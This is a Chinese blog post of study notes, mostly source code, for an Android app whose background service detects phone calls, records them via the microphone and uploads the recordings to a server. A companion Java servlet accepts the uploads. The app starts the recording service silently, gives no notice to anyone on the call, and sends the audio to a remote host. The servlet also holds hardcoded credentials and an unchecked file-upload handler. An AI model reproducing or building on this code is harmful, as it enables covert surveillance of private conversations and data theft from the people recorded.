您当前的位置: 首页 > 学无止境 > 心得笔记 网站首页心得笔记
61_采用服务监听用户的通话,上传信息到服务器
发布时间:2021-03-06 19:27:12编辑:雪饮阅读()
两个依赖
一服务端依赖
首先这次项目需要两个依赖,一个就是服务端之前tomcat中那个复合数据post接口(就是支持普通表单与文件上传共存的那个post接口)
那么这里将这个接口再次实现下(将原来的那个接口拷贝过来),实现到一个javaweb项目中(之前那次是在另外一个电脑上实现的,结果那个电脑暂时无法接触到,所幸之前的一些源代码我在网络中有存储)
那么这个post复合接口如(主要代码也就是在Servlet)LoginServlet.java:
package web;
import java.io.File;
import java.io.IOException;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
/**
* Servlet implementation class LoginServlet
*/
@WebServlet("/LoginServlet")
publicclass LoginServlet extends HttpServlet {
privatestaticfinallongserialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public LoginServlet() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protectedvoid doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String name=request.getParameter("name");
if(name!=null){
name=new String(name.getBytes("iso8859-1"),"utf-8");
}
String password=request.getParameter("password");
System.out.println(name);
System.out.println(password);
if("zhangsan".equals(name) && "123456".equals(password)){
response.getOutputStream().write("login succes".getBytes());
}
else{
response.getOutputStream().write("login failed".getBytes());
}
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protectedvoid doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
//判断enctype属性是否为multipart/form-data
if(isMultipart){
String realpath = request.getSession().getServletContext().getRealPath("/files");
System.out.println("realpath:"+realpath);
File dir = new File(realpath);
if(!dir.exists()) dir.mkdirs();
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
try {
List<FileItem> items = upload.parseRequest(request);
for(FileItem item : items){
if(item.isFormField()){
String name1 = item.getFieldName();
String value = item.getString("UTF-8");
System.out.println(name1+ "="+ value);
}else{
String fileType=item.getName().substring(item.getName().lastIndexOf("."));
item.write(new File(dir, System.currentTimeMillis()+fileType ));
}
}
response.getOutputStream().write("你好".getBytes());
} catch (Exception e) {
e.printStackTrace();
}
}else{
doGet(request, response);
}
}
}
有两个依赖需要注意,一个是jre7、一个是commons-fileupload-1.2.2.jar
二客户端依赖
对于客户端需要添加commons-httpclient-3.1.jar的jar依赖,上次我们连这个这个jar依赖添加了共3个依赖,但是最后发现只要这一个就行了,上次添加时候添加的是目录
其实这里也有说明,就是说可以是目录,也可以是具体的jar路径,而这里只用一个jar,则就直接jar路径即可
客户端的实现
activity_main.xml:
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>
package com.example.phonelistener;
import java.io.File;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.ServiceState;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneListenService extends Service {
private static final String TAG = "电话监听服务";
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 在服务第一次被创建的时候 执行
*/
@Override
public void onCreate() {
super.onCreate();
// 1.判断当前手机的状态
// 如果发现手机处于通话状态
// 创建一个录音器,录下来用户的通话信息
// 当发现手机再次出演idle状态(就是没有通话的状态),停止录音机,把音频文件上传到服务器
// 得到手机与电话状态相关的服务
TelephonyManager manager = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
//侦听电话状态LISTEN_CALL_STATE
manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);
//已测试过的方法开始-------
/*
if(manager!=null){
manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);
}
else{
System.out.println("电话监听服务-本线程名称:TelephonyManager实例化失败");
}
*/
//已测试过的方法结束----------
System.out.println("电话监听服务-本线程名称:"+ Thread.currentThread().getName());
}
private class MyPhoneListener extends PhoneStateListener {
//已测试过的方法开始-------/*MediaRecorder recorder = null;
@Override
public void onServiceStateChanged(ServiceState serviceState) {
super.onServiceStateChanged(serviceState);
Log.d(PhoneListenService.TAG, "CustomPhoneStateListener onServiceStateChanged: " + serviceState);
}
*/
//已测试过的方法开始-------
/*
@Override
public void onCallStateChanged(int state, String incomingNumber) {
Log.d(PhoneListenService.TAG, "CustomPhoneStateListener state: "
+ state + " incomingNumber: " + incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 电话挂断
break;
case TelephonyManager.CALL_STATE_RINGING: // 电话响铃
Log.d(PhoneListenService.TAG, "CustomPhoneStateListener onCallStateChanged endCall");
//HangUpTelephonyUtil.endCall(mContext);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 或者 去电,去电接通 但是没法区分
break;
}
}
*/
//已测试过的方法结束----------
/**
* 当电话的通话状态发生改变的时候 被调用的方法
*/
//@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
System.out.println("电话监听服务-电话号码是:" + incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
System.out.println("电话监听服务-当前电话处于闲置状态");
//判断recorder是否为空(判断是否是第一次进入闲置状态,还是通话结束时候的闲置状态)
if(recorder!=null){
//是通话结束时候的闲置状态则停止录音,释放录音,将录音保存下来并上传到服务器
recorder.stop();
recorder.release(); // Now the object cannot be reused
recorder = null;
new Thread(){
@Override
public void run() {
// 上传数据到服务器 从上面打印的本线程是主线程,所以这里就走子线程比较好
// Environment.getExternalStorageDirectory() + File.separator
//"/sdcard/temp.3gp"
File file = new File(Environment.getExternalStorageDirectory() + File.separator+"temp.3gp");
try {
upload(file);
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于铃响状态
System.out.println("电话监听服务-电话号码为" + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: //当前电话处于接听状态(通话状态)
System.out.println("电话监听服务-当前电话处于通话状态");
//初始化一个录音器
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
//recorder.setOutputFile("sdcard/temp.3gp");
// File file = new File("/sdcard/temp.3gp");
// FileOutputStream fos = new FileOutputStream(file);
// fos.write("haha".getBytes());
// Environment.getExternalStorageDirectory() + File.separator
//"/sdcard/temp.3gp"
recorder.setOutputFile(Environment.getExternalStorageDirectory() + File.separator+"temp.3gp");
recorder.prepare();
recorder.start(); // Recording is now started
break;
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("电话监听服务-遇到异常了----------");
}
}
}
public void upload(File file) throws Exception{
// 实例化上传数据的数组 part []
Part[] parts = {new FilePart("file",file)};
PostMethod filePost = new PostMethod("http://192.168.43.71:8080/javaweb/LoginServlet");
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams().setConnectionTimeout(5000);
int status = client.executeMethod(filePost);
if(status==200){
System.out.println("电话监听服务-上传成功");
}
else{
throw new IllegalStateException("电话监听服务-服务器状态异常");
}
}
}
MainActivity.java:
package com.example.phonelistener;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity{
//定义一个用于请求获取手机状态权限的请求码
private static final int REQUEST_READ_PHONE_STATE = 1;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//已测试过的方法开始-------
//动态申请权限并做处理
// int permissionCheck = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE);
//如果没有这个读取手机状态的权限就去请求用户授权
//if (permissionCheck != PackageManager.PERMISSION_GRANTED) {
//向用户发起请求获取手机状态的权限申请,并传递一个请求码
// ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_PHONE_STATE}, REQUEST_READ_PHONE_STATE);
//} else {
// System.out.println("已经获取到用户给的授权1");
// }
//已测试过的方法结束----------
//启动服务
Intent intent=new Intent(this,PhoneListenService.class);
startService(intent);
}
//已测试过的方法开始-------
//再动态申请用户授权的结果回调中根据我们向用户发起请求获取手机状态的权限申请时所提供的请求码及获取的权限结果
// 来判断是否得到了我们所请求的权限
/*
@Override
public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
switch (requestCode) {
case REQUEST_READ_PHONE_STATE:
if ((grantResults.length > 0) && (grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
//TODO
System.out.println("已经获取到用户给的授权");
}
break;
default:
break;
}
}
*/
//已测试过的方法结束----------
}
AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.phonelistener">
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.PhoneListener"
android:usesCleartextTraffic="true"
>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PhoneListenService">
<!--
尝试过添加意图
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
-->
</service>
</application>
</manifest>
然后部署到设备中进行测试,别忘了勾选这几个权限
那么按照原计划呢,另外一个设备向该设备呼叫的时候就可以获取到电话号码,但实际上这里并没有获取到,而对于录音内容呢,确实是保存到了sdcad中了,但是上传失败,可能是网络服务的地方没有配置好,这个影响不大。然后再次检查录音文件发现拿出来的录音文件用qq影音播放没有声音。我怀疑是模拟器原因,于是用我的魅族16t测试,魅族16t是安卓10的系统,而模拟器是安卓9的,不过我感觉与版本无关,应该是模拟器没有模拟出麦克风,或者我电脑就没有开启麦克风的关系,这些影响都不大。因为在16t中测试了是可以有录音声音的。
那么现在最棘手的问题就是电话号码,无论真机还是模拟器都没有获取到。这个具体原因还不太清楚了。
Adb小技巧
在调试过程中有时候你可能受限于图形化界面的模拟器操作,有时候需要用到adb去调试。
比如有时候你有时候需要进入某个设备中做些事情,但是又是图形化所完成不了的,并且是多个设备的时候。因为一般只连接一个设备的时候直接adb shell就进去这个设备的命令行了。
那么如果进入指定设备呢?
首先我们看看当前有哪些设备
C:\Program Files (x86)\Android\android-sdk\platform-tools>adb devices
List of devices attached
928QSEX222236 device
emulator-5554 device
emulator-5556 device
那么这里选择一个设备假如这里的5554,我们可以这样进入
C:\Program Files (x86)\Android\android-sdk\platform-tools>adb -s emulator-5554 shell
generic_x86_arm:/ $
那么如果我要向某个设备拨打电话该怎么做呢?
这样就需要不仅仅是某个设备(以那个设备的身份进行拨打),还需要打电话的意图以及电话号码了
比如这里以5554这个设备给5556这个设备打电话则如:
C:\Program Files (x86)\Android\android-sdk\platform-tools>adb -s emulator-5554 shell am start -a android.intent.action.CALL tel:5556
Starting: Intent { act=android.intent.action.CALL dat=tel:xxxx }
像上面设备列表中第一个设备是我的魅族16t,我尝试着给它打结果没有反映,虽然意图发送成功了。可能是真机的原因吧。
补充:
有点不甘心,吃完饭后翻阅文档发现是因为自安卓5.1之后新增了一个UICC运营商特权的限制的原因
https://developer.android.google.cn/reference/android/telephony/PhoneStateListener#onCallStateChanged(int,%20java.lang.String)
https://developer.android.google.cn/reference/android/telephony/TelephonyManager#hasCarrierPrivileges()
关键字词:监听,服务,android